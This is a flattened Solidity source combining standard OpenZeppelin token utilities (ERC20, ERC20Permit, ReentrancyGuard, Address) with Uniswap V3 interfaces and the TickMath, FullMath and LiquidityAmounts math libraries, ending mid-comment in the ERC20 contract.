* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.5 <0.8.0;
import "../token/ERC20/ERC20.sol";
import "./IERC20Permit.sol";
import "../cryptography/ECDSA.sol";
import "../utils/Counters.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) internal EIP712(name, "1") {
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_nonces[owner].current(),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_nonces[owner].increment();
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#mint
/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface
interface IUniswapV3MintCallback {
/// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// @param amount0Owed The amount of token0 due to the pool for the minted liquidity
/// @param amount1Owed The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
